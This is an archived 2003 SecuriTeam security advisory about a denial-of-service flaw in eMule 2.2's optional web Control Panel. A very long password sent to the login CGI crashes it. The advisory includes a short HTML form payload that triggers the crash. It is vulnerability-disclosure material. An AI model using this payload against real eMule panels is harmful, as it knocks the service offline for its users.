

[NT] eMule's Web Control Panel Vulnerable to DoS (Long Password)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-10/0104.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 10/23/03

To: list@securiteam.com

Date: 23 Oct 2003 17:38:29 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

eMule's Web Control Panel Vulnerable to DoS (Long Password)

SUMMARY

<<http://www.emule-project.net/index.php?s=home>> eMule is "a new filesharing client which is based on the eDonkey2000 network, but offers more features than the standard eDonkey client, because it's open source but under the restrictions of the GPL License".

A vulnerability in eMule's web based Control Panel allows remote attackers to cause a denial of service against the product.

DETAILS

Vulnerable systems:

* eMule version 2.2 [0.29c]

By posting a very long arbitrary password request to the "login" CGI, it is possible to cause a denial of service against eMule (NOTE: The Control Panel is not enabled by default).

Exploit:

Adding after this line:

Securiteam: [NT] eMule's Web Control Panel Vulnerable to DoS (Long Password)

```
< form action="" method="POST" name="login">
This:
< input type="password" name=p size=37 value="a[multiple 'a']a">
< input type="hidden" name=w value="password">
< br>
< br>
< input type=submit value="Login Now"></font>
</form>
```

Will allow you to trigger the bug.

ADDITIONAL INFORMATION

The information has been provided by <mailto:nuritrv18_@_bezeqint.net>
The-Insider.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.